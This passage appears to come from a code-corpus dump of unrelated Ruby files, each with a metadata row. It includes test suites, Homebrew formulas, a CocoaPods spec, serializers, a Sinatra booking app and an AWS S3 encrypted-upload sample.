@unmatched_values = 0
similarity_score = compare_hashes(hash1, hash2)
assert_equal 1, similarity_score
end
test "should return 0 for completely non-identical json" do
hash1 = {"widget": {
"debug": "off",
"window": {
"title": "Window &",
"name": "Vista",
"width": 100,
"height": 200
}
}}
hash2 = {"widget": {
"debug": "on",
"window": {
"title": "Sample Konfabulator Widget",
"name": "main_window",
"width": 500,
"height": 500
}
}}
@matched_values = 0
@unmatched_values = 0
similarity_score = compare_hashes(hash1, hash2)
assert_equal 0, similarity_score
end
test "should return a value between 0-1 for partially identical json" do
hash1 = {"widget": {
"debug": "on",
"window": {
"title": "Window &",
"name": "Vista",
"width": 500,
"height": 200
}
}}
hash2 = {"widget": {
"debug": "on",
"window": {
"title": "Sample Konfabulator Widget",
"name": "main_window",
"width": 500,
"height": 500
}
}}
@matched_values = 0
@unmatched_values = 0
similarity_score = compare_hashes(hash1, hash2)
assert_includes 0..1, similarity_score
end
end
| 23.850394 | 74 | 0.536811 |
bff72ecbf8b1d7b912673f361590a34ab3332f66 | 3,148 | ########################################################################################################################
# OpenStudio(R), Copyright (c) 2008-2017, Alliance for Sustainable Energy, LLC. All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the
# following conditions are met:
#
# (1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following
# disclaimer.
#
# (2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the
# following disclaimer in the documentation and/or other materials provided with the distribution.
#
# (3) Neither the name of the copyright holder nor the names of any contributors may be used to endorse or promote
# products derived from this software without specific prior written permission from the respective party.
#
# (4) Other than as required in clauses (1) and (2), distributions in any form of modifications or other derivative
# works may not use the "OpenStudio" trademark, "OS", "os", or any other confusingly similar designation without
# specific prior written permission from Alliance for Sustainable Energy, LLC.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES,
# INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER, THE UNITED STATES GOVERNMENT, OR ANY CONTRIBUTORS BE LIABLE FOR
# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED
# AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
########################################################################################################################
require 'openstudio'
require 'minitest/autorun'
class ClimateZones_Test < MiniTest::Unit::TestCase
def test_basic
model = OpenStudio::Model::Model.new
climateZones = model.getClimateZones
assert_equal(1,climateZones.numClimateZones)
individualZones = climateZones.climateZones
assert_equal(1,individualZones.size)
defaultZone = individualZones[0]
assert_equal("ASHRAE",defaultZone.institution)
assert_equal("ANSI/ASHRAE Standard 169",defaultZone.documentName)
assert_equal(OpenStudio::Model::ClimateZones.ashraeDefaultYear,defaultZone.year)
assert_equal("",defaultZone.value)
assert(defaultZone.setValue("3C"))
newZone = climateZones.appendClimateZone(OpenStudio::Model::ClimateZones.cecInstitutionName,
"12")
assert_equal(false,newZone.empty)
assert_equal(2,climateZones.numClimateZones)
end
end
| 52.466667 | 120 | 0.701398 |
26df0cdc4a5777585e0d280fba5bc82ada6bf2d9 | 1,101 | require File.expand_path '../../../spec_helper.rb', __FILE__
RSpec.describe Types::ColorType do
let(:headers) do
{ 'Content-Type' => 'application/json', 'Accept' => 'application/json' }
end
let(:query) do
{ "query" => query_string }
end
# Call `result` to execute the query
let(:result) do
post '/graphql', query, headers
res = JSON.parse(last_response.body)
# Print any errors
if res["errors"]
pp res
end
res
end
let(:transform_styles) { %w[diamond ruby sapphire topaz] }
describe "pink" do
let(:query_string) do
<<QUERYSTRING
{
color(color: "pink")
{
color
girls {
girlName
}
}
}
QUERYSTRING
end
context "has color and it" do
it { expect(result["data"]["color"]["color"]).to eq "pink" }
end
context "has girls and it" do
it { expect(result["data"]["color"]["girls"].count).to eq Precure.all_girls.select(&:pink?).count }
it { expect(result["data"]["color"]["girls"].map{|e| e["girlName"]}).to eq Precure.all_girls.select(&:pink?).map(&:girl_name) }
end
end
end
| 22.02 | 133 | 0.606721 |
3824301b6d84d20acd54b65a0f3c599861e0322a | 1,371 | class Kytea < Formula
desc "Toolkit for analyzing text, especially Japanese and Chinese"
homepage "http://www.phontron.com/kytea/"
url "http://www.phontron.com/kytea/download/kytea-0.4.7.tar.gz"
sha256 "534a33d40c4dc5421f053c71a75695c377df737169f965573175df5d2cff9f46"
bottle do
sha256 "57c8c3acf60417d44d7df27445d667dd03095f1afdad70aeb63cf68e0cbc64c0" => :mojave
sha256 "bcdb450698d5065cf82b7726d6dc21381632c41352237dc547c05cc62e4b7e59" => :high_sierra
sha256 "d29c61f74da5f4d88f09d8b540943599ce8b6e5062af88b7d5725ea84fb4c603" => :sierra
sha256 "3e0c66a7efb34ddb8e4f80d9b95562779e224271b8d63d38f9bc8176103427e2" => :el_capitan
sha256 "2f2dda314728cd74750db339ebc2d166b8b611ad54668cc3e7b6225d39aec3f5" => :yosemite
sha256 "045d0c9ad0cf35e003b8839cb0213e3f49d9107dfbc955e449b36fd4b6596640" => :mavericks
sha256 "3f15b353a447519bfb7f602b29db18e7eff945e0b68998af35cc37a745328182" => :mountain_lion
end
head do
url "https://github.com/neubig/kytea.git"
depends_on "autoconf" => :build
depends_on "automake" => :build
depends_on "libtool" => :build
end
def install
system "autoreconf", "-i" if build.head?
system "./configure", "--disable-dependency-tracking",
"--prefix=#{prefix}"
system "make", "install"
end
test do
system "#{bin}/kytea", "--version"
end
end
| 39.171429 | 95 | 0.754923 |
28d1ca390caf7c84982c8161d8f1380dc0bda6eb | 1,535 | module ComponentSerializer
class SearchFormComponentSerializer < ComponentSerializer::BaseComponentSerializer
# Initialise a search form component.
#
# @param [String] query string to passed in as the value attribute of the input element.
# @param [Array<Object>] components components that are intended to be part of the search form.
# @param [Boolean] global a boolean to determine if the global tags are added in te dust file.
# @param [String] search_action a path which is used as the action parameter on the search form.
#
# @example Initialising a search form component
# query_nil_unless_rendering_results_page = nil
# an_icon_componet = ComponentSerializer::SearchIconComponentSerializer.new().to_h
# nil_unless_search_used_in_header = nil
# ComponentSerializer::SearchFormComponentSerializer.new(query: query_nil_unless_rendering_results_page, components: [an_icon_componet], global: nil_unless_search_used_in_header).to_h
def initialize(query: nil, components: nil, global: nil, search_action: nil)
@query = query
@components = components
@global = global
@search_action = search_action
end
private
def name
'form__search'
end
def data
{}.tap do |hash|
hash[:value] = @query if @query
hash[:global] = @global if @global
hash[:label] = 'search.label'
hash[:components] = @components
hash['search-action'] = @search_action if @search_action
end
end
end
end
| 39.358974 | 188 | 0.710098 |
017d57b27c8d1c40f84b7a7de3600adcd00c49b6 | 825 | # frozen_string_literal: true
module Xlsxtream
module IO
class Hash
def initialize(stream)
@stream = stream
@hash = {}
@path = nil
end
def <<(data)
@stream << data
end
def add_file(path)
close
@path = path
@hash[@path] = [@stream.tell]
end
def close
@hash[@path] << @stream.tell if @path
end
def fetch(path)
old = @stream.tell
from, to = @hash.fetch(path)
size = to - from
@stream.seek(from)
data = @stream.read(size)
@stream.seek(old)
data
end
def [](path)
fetch(path)
rescue KeyError
nil
end
def to_h
::Hash[@hash.keys.map {|path| [path, fetch(path)] }]
end
end
end
end
| 17.1875 | 60 | 0.483636 |
ff5364d31c3fb9176cffd85b7ecc1aac5f2aedf7 | 458 | class Mailer < ActionMailer::Base
include GhostInThePost::Mailer
default from: '[email protected]'
def normal
mail(to: '[email protected]', subject: "Notification for you")
end
def multi
mail(to: '[email protected]', subject: "Notification for you") do |format|
format.html
format.text
end
end
def timeout
set_ghost_timeout 60000
mail(to: '[email protected]', subject: "Notification for you")
end
end
| 20.818182 | 80 | 0.687773 |
bb7780edc7ca34d16541c33ce1b7dff084d86b97 | 943 | Pod::Spec.new do |s|
s.name = 'PlayerCore'
s.version = '1.0.4'
s.summary = 'PlayerCore contains important player logic which is used by Verizon Video Partner SDK.'
s.license = { type: 'MIT', file: 'LICENSE' }
s.swift_version = '4.2'
s.homepage = 'https://github.com/VerizonAdPlatforms/VerizonVideoPartnerSDK-PlayerCore-iOS'
s.authors = {
'Andrey Moskvin' => '[email protected]',
'Roman Tysiachnik' => '[email protected]',
'Vladyslav Anokhin' => '[email protected]'
}
s.source = { :git => 'https://github.com/VerizonAdPlatforms/VerizonVideoPartnerSDK-PlayerCore-iOS.git',
:tag => s.version.to_s }
s.source_files = 'PlayerCore/**/*.swift'
s.exclude_files = 'PlayerCore/*Test*'
s.ios.deployment_target = '9.0'
s.tvos.deployment_target = '9.0'
s.frameworks = 'CoreGraphics', 'CoreMedia'
end
| 36.269231 | 111 | 0.623542 |
f78463b5f98c68d0fa9f1ec3b893a6a6a53dc7c8 | 198 | require 'spec_helper'
describe RpcBench do
it 'has a version number' do
expect(RpcBench::VERSION).not_to be nil
end
it 'does something useful' do
expect(false).to eq(true)
end
end
| 16.5 | 43 | 0.707071 |
5df5bee31a7248642c5e90dc2959d6f6815bd451 | 148 | # frozen_string_literal: true
require "test_helper"
class JmxTest < ActiveSupport::TestCase
# test "the truth" do
# assert true
# end
end
| 14.8 | 39 | 0.716216 |
ff70113545710b6af0418b94b38123476dbd8de3 | 557 | # == Schema Information
#
# Table name: events
#
# id :bigint not null, primary key
# action :string
# payload :jsonb not null
# created_at :datetime not null
# updated_at :datetime not null
# issue_id :bigint not null
#
# Indexes
#
# index_events_on_issue_id (issue_id)
#
# Foreign Keys
#
# fk_rails_... (issue_id => issues.id)
#
class EventSerializer
include FastJsonapi::ObjectSerializer
set_type :event
set_id :id
belongs_to :issue
attributes :action, :payload
end
| 17.967742 | 53 | 0.628366 |
01cecb2e6580d86442d20d6233c894404f48aec9 | 2,434 | #
# Author:: Bryan McLellan <[email protected]>
# Copyright:: Copyright 2012-2020, Chef Software Inc.
# License:: Apache License, Version 2.0
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
require_relative "package"
require_relative "gem_package"
require_relative "../dist"
class Chef
class Resource
# Use the chef_gem resource to install a gem only for the instance of Ruby that is dedicated to the chef-client.
# When a gem is installed from a local file, it must be added to the node using the remote_file or cookbook_file
# resources.
#
# The chef_gem resource works with all of the same properties and options as the gem_package resource, but does not
# accept the gem_binary property because it always uses the CurrentGemEnvironment under which the chef-client is
# running. In addition to performing actions similar to the gem_package resource, the chef_gem resource does the
# following:
# - Runs its actions immediately, before convergence, allowing a gem to be used in a recipe immediately after it is
# installed
# - Runs Gem.clear_paths after the action, ensuring that gem is aware of changes so that it can be required
# immediately after it is installed
class ChefGem < Chef::Resource::Package::GemPackage
unified_mode true
resource_name :chef_gem
property :gem_binary, default: "#{RbConfig::CONFIG["bindir"]}/gem", default_description: "Chef's built-in gem binary.",
description: "The path of a gem binary to use for the installation. By default, the same version of Ruby that is used by the #{Chef::Dist::CLIENT} will be installed.",
callbacks: {
"The chef_gem resource is restricted to the current gem environment, use gem_package to install to other environments." => proc { |v| v == "#{RbConfig::CONFIG["bindir"]}/gem" },
}
end
end
end
| 49.673469 | 195 | 0.715694 |
e2ea4f4b00e8d238d1ed870abc70826e0ba5f491 | 342 | # Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::Security::Mgmt::V2020_01_01
module Models
#
# Defines values for TransportProtocol
#
module TransportProtocol
TCP = "TCP"
UDP = "UDP"
end
end
end
| 21.375 | 70 | 0.690058 |
7a9ec34003891b89515213a707f42066551ebb93 | 1,094 | # This file is copied to spec/ when you run 'rails generate rspec:install'
require 'spec_helper'
ENV['RAILS_ENV'] ||= 'test'
require File.expand_path('../../config/environment', __FILE__)
abort("The Rails environment is running in production mode!") if Rails.env.production?
require 'rspec/rails'
require "json_matchers/rspec"
require 'sidekiq/testing'
JsonMatchers.schema_root = "spec/support/api/schemas"
Dir[Rails.root.join('spec/support/**/*.rb')].each { |f| require f }
Sidekiq::Testing.fake!
begin
ActiveRecord::Migration.maintain_test_schema!
rescue ActiveRecord::PendingMigrationError => e
puts e.to_s.strip
exit 1
end
Shoulda::Matchers.configure do |config|
config.integrate do |with|
with.test_framework :rspec
with.library :active_record
with.library :rails
end
end
RSpec.configure do |config|
config.swagger_dry_run = false
config.include FactoryBot::Syntax::Methods
config.fixture_path = "#{::Rails.root}/spec/fixtures"
config.use_transactional_fixtures = true
config.infer_spec_type_from_file_location!
config.filter_rails_from_backtrace!
end
| 30.388889 | 86 | 0.76691 |
183b188f60a57b585f689968c0626731fae3c259 | 651 | # -*- encoding : utf-8 -*-
module ControllerSpecHelper
# AuthenticatedTestHelperを書き換える
def login_as(user)
@current_user = user.kind_of?(Symbol) ? users(user) : user
@request.session[:user_id] = @current_user.try(:id)
end
# ログインしていないときのスペックの記述を簡単にする
def response_should_be_redirected_without_login(&block)
describe "ログインしていないとき" do
before {@request.session[:user_id] = nil}
before &block
it_should_behave_like 'トップページにリダイレクトされる'
end
end
share_examples_for 'トップページにリダイレクトされる' do
it "トップページにリダイレクトされる" do
response.should redirect_to(root_path)
end
end
end
include ControllerSpecHelper
| 23.25 | 62 | 0.725038 |
91216723b97d6e9caef262e7525804e6a32b5b98 | 1,105 | Pod::Spec.new do |s|
s.name = "ElasticTransition"
s.version = "2.1.0"
s.summary = "A UIKit custom modal transition that simulates an elastic drag. Written in Swift."
s.description = <<-DESC
A UIKit custom modal transition that simulates an elastic drag. Written in Swift.
Best for side menu and navigation transition.
This is inspired by DGElasticPullToRefresh from gontovnik.
DESC
s.homepage = "https://github.com/lkzhao/ElasticTransition"
s.screenshots = "https://github.com/lkzhao/ElasticTransition/blob/master/imgs/demo.gif?raw=true"
s.license = 'MIT'
s.author = { "Luke" => "[email protected]" }
s.source = { :git => "https://github.com/lkzhao/ElasticTransition.git", :tag => s.version.to_s }
s.ios.deployment_target = '8.0'
s.ios.frameworks = 'UIKit', 'Foundation'
s.requires_arc = true
s.source_files = 'ElasticTransition/*.swift'
s.dependency 'MotionAnimation', '~> 0.0.5'
end
| 39.464286 | 108 | 0.59819 |
6203ff8663a5494b0fb573f7faccb938d1e967ea | 2,608 | #encoding: utf-8
require 'rubygems'
require 'sinatra'
require 'sinatra/reloader'
require 'sinatra/activerecord'
require 'sqlite3'
set :database, 'sqlite3:barbershop.db'
class Client < ActiveRecord::Base
validates :name, presence: {message: "Введите имя!"}, length: {minimum: 3}
validates :phoneno, presence: true
validates :datestamp, presence: true
validates :barber, presence: true
validates :color, presence: true
end
class Barber < ActiveRecord::Base
end
class Contact < ActiveRecord::Base
end
configure do
end
get '/' do
@barbers = Barber.all
erb :index
end
before '/visit' do
@barbers = Barber.all
end
get '/about' do
erb :about
end
get '/visit' do
erb :visit
end
get '/contacts' do
erb :contacts
end
get '/bookings' do
@clients = Client.order('created_at DESC')
erb :bookings
end
get '/bookings/:id' do
@client = Client.find(params[:id])
erb :client
end
get '/barbers/:id' do
@barber = Barber.find(params[:id])
erb :barber
end
post '/contacts' do
if params[:contact][:email].empty? then
@error = "Не указан почтовый адрес для связи!"
return erb :contacts
elsif !params[:contact][:message] then
@error = "Напишите текст обращения!"
return erb :contacts
else
new_c = Contact.new(params[:contact])
# new_c.email = params[:email]
# new_c.message = params[:msg]
new_c.save
erb "Сообщение сохранено!"
end
end
post '/visit' do
#validation
# hh = { :username => 'Введите ваше имя',
# :phoneno => 'Введите телефон',
# :plantime => 'Введите дату и время' }
# @error = hh.select {|key,_| params[:client][key] == ""}.values.join(", ")
# if @error != ''
# return erb :visit
# end
# input = File.open('.\public\visit.txt', 'a+')
# input.write("#{params[:username]}; #{params[:plantime]}; #{params[:phoneno]}; #{params[:barber]}\n")
# input.close
# get_db().execute('INSERT INTO
# users
# (name,
# phone,
# datestamp,
# barber,
# color)
# values (?, ?, ?, ?, ?)', [params[:username], params[:phoneno], params[:plantime], params[:barber], params[:color]]);
# Client.create(name: params[:username], phoneno: params[:phoneno], datestamp: params[:plantime], barber: params[:barber], color: params[:color])
c = Client.new(params[:client])
if !c.save then #!c.valid? then
@error = c.errors.full_messages.first
return erb :visit
end
erb "Уважаемый #{params[:client][:name]}, данные записаны! Ждем вас в #{params[:client][:datestamp]}"
end | 22.678261 | 147 | 0.624233 |
d55df463bcac474b6c6e36eb74349bffe580b7ae | 1,074 | class Snobol4 < Formula
desc "String oriented and symbolic programming language"
homepage "http://www.snobol4.org/"
url "ftp://ftp.ultimate.com/snobol/snobol4-1.5.tar.gz"
mirror "https://src.fedoraproject.org/lookaside/pkgs/snobol/snobol4-1.5.tar.gz/54ac3ddd51fb34ec63b1eb0ae7b99794/snobol4-1.5.tar.gz"
sha256 "9f7ec649f2d700a30091af3bbd68db90b916d728200f915b1ba522bcfd0d7abd"
bottle do
sha256 "836e69e4b55f8e061d3862b0f52b7c9800a224e4186bb2116f5d2121b4ed4f79" => :mojave
sha256 "9282b4f4887f0e031321314fcb4ed9af82b7f023c2c20f8cf7b7d278c098424b" => :high_sierra
sha256 "2c8d1b2a54a3a3f0d810c88bc0a2545dbea08f73b57dda6052c4de27bdde62ee" => :sierra
sha256 "f4ee5ba3a933998e7ea1493bab469f00f4ddd13a3e8458002ee43ba6f0cd0e74" => :el_capitan
sha256 "6903e1b05a795eae13f2f97fd2f1f4b883b03e1c94ba28e3747b3df98c6a955d" => :yosemite
sha256 "b76b9e5bbeccd4b879b2b3c450f3388b82f4641d4d414e0f2d83768eeb0c058b" => :mavericks
end
def install
system "./configure", "--prefix=#{prefix}", "--mandir=#{man}"
system "make", "install"
end
end
| 48.818182 | 133 | 0.801676 |
bb74a4852d62ba277dba1413bcfc713301ec56f2 | 1,647 | # snippet-comment:[These are tags for the AWS doc team's sample catalog. Do not remove.]
# snippet-sourceauthor:[Doug-AWS]
# snippet-sourcedescription:[Uploads an encrypted item to an S3 bucket.]
# snippet-keyword:[Amazon Simple Storage Service]
# snippet-keyword:[put_object method]
# snippet-keyword:[Ruby]
# snippet-sourcesyntax:[ruby]
# snippet-service:[s3]
# snippet-keyword:[Code Sample]
# snippet-sourcetype:[full-example]
# snippet-sourcedate:[2018-03-16]
# Copyright 2010-2019 Amazon.com, Inc. or its affiliates. All Rights Reserved.
#
# This file is licensed under the Apache License, Version 2.0 (the "License").
# You may not use this file except in compliance with the License. A copy of the
# License is located at
#
# http://aws.amazon.com/apache2.0/
#
# This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS
# OF ANY KIND, either express or implied. See the License for the specific
# language governing permissions and limitations under the License.
require 'aws-sdk-s3' # In v2: require 'aws-sdk'
require 'digest/md5'
# Require key as command-line argument
if ARGV.empty?()
puts 'You must supply the key'
exit 1
end
encoded_string = ARGV[0]
key = encoded_string.unpack("m*")[0]
bucket = 'my_bucket'
item = 'my_item'
# Get contents of item
contents = File.read(item)
# Create S3 encryption client
client = Aws::S3::Encryption::Client.new(region: 'us-west-2', encryption_key: key)
# Add encrypted item to bucket
client.put_object(
bucket: bucket,
key: item,
body: contents
)
puts 'Added encrypted item ' + item + ' to bucket ' + bucket
| 31.075472 | 89 | 0.715847 |
edc17ffc218c3b94eeebb8d7909b5b0a1418ac0c | 4,080 | # frozen_string_literal: true
module ThemeCheck
class Position
include PositionHelper
attr_reader :contents
def initialize(
needle_arg,
contents_arg,
line_number_1_indexed: nil,
node_markup: nil,
node_markup_offset: 0 # the index of markup inside the node_markup
)
@needle = needle_arg
@contents = if contents_arg&.is_a?(String) && !contents_arg.empty?
contents_arg
else
''
end
@line_number_1_indexed = line_number_1_indexed
@node_markup_offset = node_markup_offset
@node_markup = node_markup
end
def start_line_offset
@start_line_offset ||= from_row_column_to_index(contents, line_number, 0)
end
def start_offset
@start_offset ||= compute_start_offset
end
def strict_position
@strict_position ||= StrictPosition.new(
needle,
contents,
start_index,
)
end
# 0-indexed, inclusive
def start_index
contents.index(needle, start_offset)
end
# 0-indexed, exclusive
def end_index
strict_position.end_index
end
# 0-indexed, inclusive
def start_row
strict_position.start_row
end
# 0-indexed, inclusive
def start_column
strict_position.start_column
end
# 0-indexed, exclusive (both taken together are) therefore you
# might end up on a newline character or the next line
def end_row
strict_position.end_row
end
def end_column
strict_position.end_column
end
def content_line_count
@content_line_count ||= contents.count("\n")
end
private
def compute_start_offset
return start_line_offset if @node_markup.nil?
node_markup_start = contents.index(@node_markup, start_line_offset)
return start_line_offset if node_markup_start.nil?
node_markup_start + @node_markup_offset
end
def line_number
return 0 if @line_number_1_indexed.nil?
bounded(0, @line_number_1_indexed - 1, content_line_count)
end
def needle
@cached_needle ||= if has_content_and_line_number_but_no_needle?
entire_line_needle
elsif contents.empty? || @needle.nil?
''
elsif !can_find_needle?
entire_line_needle
else
@needle
end
end
def has_content_and_line_number_but_no_needle?
@needle.nil? && !contents.empty? && @line_number_1_indexed.is_a?(Integer)
end
def can_find_needle?
!!contents.index(@needle, start_offset)
end
def entire_line_needle
contents.lines(chomp: true)[line_number] || ''
end
end
# This method is stricter than Position in the sense that it doesn't
# accept invalid inputs. Makes for code that is easier to understand.
class StrictPosition
include PositionHelper
attr_reader :needle, :contents
def initialize(needle, contents, start_index)
raise ArgumentError, 'Bad start_index' unless start_index.is_a?(Integer)
raise ArgumentError, 'Bad contents' unless contents.is_a?(String)
raise ArgumentError, 'Bad needle' unless needle.is_a?(String) || !contents.index(needle, start_index)
@needle = needle
@contents = contents
@start_index = start_index
@start_row_column = nil
@end_row_column = nil
end
# 0-indexed, inclusive
def start_index
@contents.index(needle, @start_index)
end
# 0-indexed, exclusive
def end_index
start_index + needle.size
end
def start_row
start_row_column[0]
end
def start_column
start_row_column[1]
end
def end_row
end_row_column[0]
end
def end_column
end_row_column[1]
end
private
def start_row_column
return @start_row_column unless @start_row_column.nil?
@start_row_column = from_index_to_row_column(contents, start_index)
end
def end_row_column
return @end_row_column unless @end_row_column.nil?
@end_row_column = from_index_to_row_column(contents, end_index)
end
end
end
| 23.181818 | 107 | 0.677206 |
874ed2d114e5070f132afbe5c919c29857a362fa | 628 | require 'rubygems'
# require at least 1.1.4 to fix a bug with describing Modules
gem 'rspec', '>= 1.1.4'
require 'spec'
# pretend we already loaded fastthread, otherwise the nonblockingserver_spec
# will get screwed up
# $" << 'fastthread.bundle'
# turn on deprecation so we can test it
module Thrift
DEPRECATION = true
end
require File.dirname(__FILE__) + '/../lib/thrift'
class Object
# tee is a useful method, so let's let our tests have it
def tee(&block)
block.call(self)
self
end
end
Spec::Runner.configure do |configuration|
configuration.before(:each) do
Thrift.type_checking = true
end
end
| 20.933333 | 76 | 0.718153 |
7a4c4b6967fae8380cfc82b59c4cef3a3e451481 | 94 | Dir["#{__dir__}/helper/*.rb"].each { |f| require f }
module Jinaki
module Helper
end
end
| 13.428571 | 52 | 0.648936 |
61db91f8554a34689113f9f24ba47b91007ea194 | 5,377 | =begin
#DocuSign REST API
#The DocuSign REST API provides you with a powerful, convenient, and simple Web services API for interacting with DocuSign.
OpenAPI spec version: v2.1
Contact: [email protected]
Generated by: https://github.com/swagger-api/swagger-codegen.git
=end
require 'date'
module DocuSign_eSign
# Provides properties that describe the items contained in a workspace.
class WorkspaceItemList
#
attr_accessor :items
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'items' => :'items'
}
end
# Attribute type mapping.
def self.swagger_types
{
:'items' => :'Array<WorkspaceItem>'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
return unless attributes.is_a?(Hash)
# convert string to symbol for hash key
attributes = attributes.each_with_object({}) { |(k, v), h| h[k.to_sym] = v }
if attributes.has_key?(:'items')
if (value = attributes[:'items']).is_a?(Array)
self.items = value
end
end
end
# Show invalid properties with the reasons. Usually used together with valid?
# @return Array for valid properties with the reasons
def list_invalid_properties
invalid_properties = Array.new
invalid_properties
end
# Check to see if the all the properties in the model are valid
# @return true if the model is valid
def valid?
true
end
# Checks equality by comparing each attribute.
# @param [Object] Object to be compared
def ==(o)
return true if self.equal?(o)
self.class == o.class &&
items == o.items
end
# @see the `==` method
# @param [Object] Object to be compared
def eql?(o)
self == o
end
# Calculates hash code according to all attributes.
# @return [Fixnum] Hash code
def hash
[items].hash
end
# Builds the object from hash
# @param [Hash] attributes Model attributes in the form of hash
# @return [Object] Returns the model itself
def build_from_hash(attributes)
return nil unless attributes.is_a?(Hash)
self.class.swagger_types.each_pair do |key, type|
if type =~ /\AArray<(.*)>/i
# check to ensure the input is an array given that the attribute
# is documented as an array but the input is not
if attributes[self.class.attribute_map[key]].is_a?(Array)
self.send("#{key}=", attributes[self.class.attribute_map[key]].map { |v| _deserialize($1, v) })
end
elsif !attributes[self.class.attribute_map[key]].nil?
self.send("#{key}=", _deserialize(type, attributes[self.class.attribute_map[key]]))
end # or else data not found in attributes(hash), not an issue as the data can be optional
end
self
end
# Deserializes the data based on type
# @param string type Data type
# @param string value Value to be deserialized
# @return [Object] Deserialized data
def _deserialize(type, value)
case type.to_sym
when :DateTime
DateTime.parse(value)
when :Date
Date.parse(value)
when :String
value.to_s
when :Integer
value.to_i
when :Float
value.to_f
when :BOOLEAN
if value.to_s =~ /\A(true|t|yes|y|1)\z/i
true
else
false
end
when :Object
# generic object (usually a Hash), return directly
value
when /\AArray<(?<inner_type>.+)>\z/
inner_type = Regexp.last_match[:inner_type]
value.map { |v| _deserialize(inner_type, v) }
when /\AHash<(?<k_type>.+?), (?<v_type>.+)>\z/
k_type = Regexp.last_match[:k_type]
v_type = Regexp.last_match[:v_type]
{}.tap do |hash|
value.each do |k, v|
hash[_deserialize(k_type, k)] = _deserialize(v_type, v)
end
end
else # model
temp_model = DocuSign_eSign.const_get(type).new
temp_model.build_from_hash(value)
end
end
# Returns the string representation of the object
# @return [String] String presentation of the object
def to_s
to_hash.to_s
end
# to_body is an alias to to_hash (backward compatibility)
# @return [Hash] Returns the object in the form of hash
def to_body
to_hash
end
# Returns the object in the form of hash
# @return [Hash] Returns the object in the form of hash
def to_hash
hash = {}
self.class.attribute_map.each_pair do |attr, param|
value = self.send(attr)
next if value.nil?
hash[param] = _to_hash(value)
end
hash
end
# Outputs non-array value in the form of hash
# For object, use to_hash. Otherwise, just return the value
# @param [Object] value Any valid value
# @return [Hash] Returns the value in the form of hash
def _to_hash(value)
if value.is_a?(Array)
value.compact.map { |v| _to_hash(v) }
elsif value.is_a?(Hash)
{}.tap do |hash|
value.each { |k, v| hash[k] = _to_hash(v) }
end
elsif value.respond_to? :to_hash
value.to_hash
else
value
end
end
end
end
| 28.601064 | 123 | 0.619304 |
e83b2bae6e36278dc8daa99821f35e786518b0c2 | 147 | require 'gem2deb/rake/testtask'
Gem2Deb::Rake::TestTask.new do |t|
t.libs << 'lib' << 'test'
t.test_files = FileList['test/**/*_test.rb']
end
| 21 | 46 | 0.653061 |
1dec405ca136329d6e4bbba5698be09de9f5a2e3 | 890 | class Glslviewer < Formula
desc "Live-coding console tool that renders GLSL Shaders"
homepage "http://patriciogonzalezvivo.com/2015/glslViewer/"
url "https://github.com/patriciogonzalezvivo/glslViewer/archive/1.6.1.tar.gz"
sha256 "2408e1662f2d4dd1922f00a747090c13ee8aff561123bdc86aff9da77b3ccf74"
license "BSD-3-Clause"
head "https://github.com/patriciogonzalezvivo/glslViewer.git"
bottle do
cellar :any
sha256 "506e7fc2898863823d8b481c4c89e782d6b82624b5fef6284181d502dce2f4a3" => :catalina
sha256 "15b623c6dce054c5529940a152c4037b5821a50cee7d66b5b3ea78726294792a" => :mojave
sha256 "764379ab8e66240539d5a7c057313887ef56ee26d2625beb44eab481ba9762a2" => :high_sierra
end
depends_on "pkg-config" => :build
depends_on "glfw"
def install
system "make"
bin.install Dir["bin/*"]
end
test do
system "#{bin}/glslViewer", "--help"
end
end
| 31.785714 | 93 | 0.769663 |
01fa0992ba8ce0c705b292b4700374ca38dc7203 | 671 | require_relative '../spec_helper'
describe 'Addrinfo#ipv6_mc_global?' do
it 'returns true for a multi-cast address in the global scope' do
Addrinfo.ip('ff1e::').should.ipv6_mc_global?
Addrinfo.ip('fffe::').should.ipv6_mc_global?
Addrinfo.ip('ff0e::').should.ipv6_mc_global?
Addrinfo.ip('ff1e::1').should.ipv6_mc_global?
end
it 'returns false for a regular IPv6 address' do
Addrinfo.ip('::1').should_not.ipv6_mc_global?
Addrinfo.ip('ff1a::').should_not.ipv6_mc_global?
Addrinfo.ip('ff1f::1').should_not.ipv6_mc_global?
end
it 'returns false for an IPv4 address' do
Addrinfo.ip('127.0.0.1').should_not.ipv6_mc_global?
end
end
| 31.952381 | 67 | 0.716841 |
033110bb745fb7895178c409b9f6dbf5933fdba8 | 365 | require "bundler/setup"
require "primalize"
RSpec.configure do |config|
# Enable flags like --only-failures and --next-failure
config.example_status_persistence_file_path = ".rspec_status"
# Disable RSpec exposing methods globally on `Module` and `main`
config.disable_monkey_patching!
config.expect_with :rspec do |c|
c.syntax = :expect
end
end
| 24.333333 | 66 | 0.753425 |
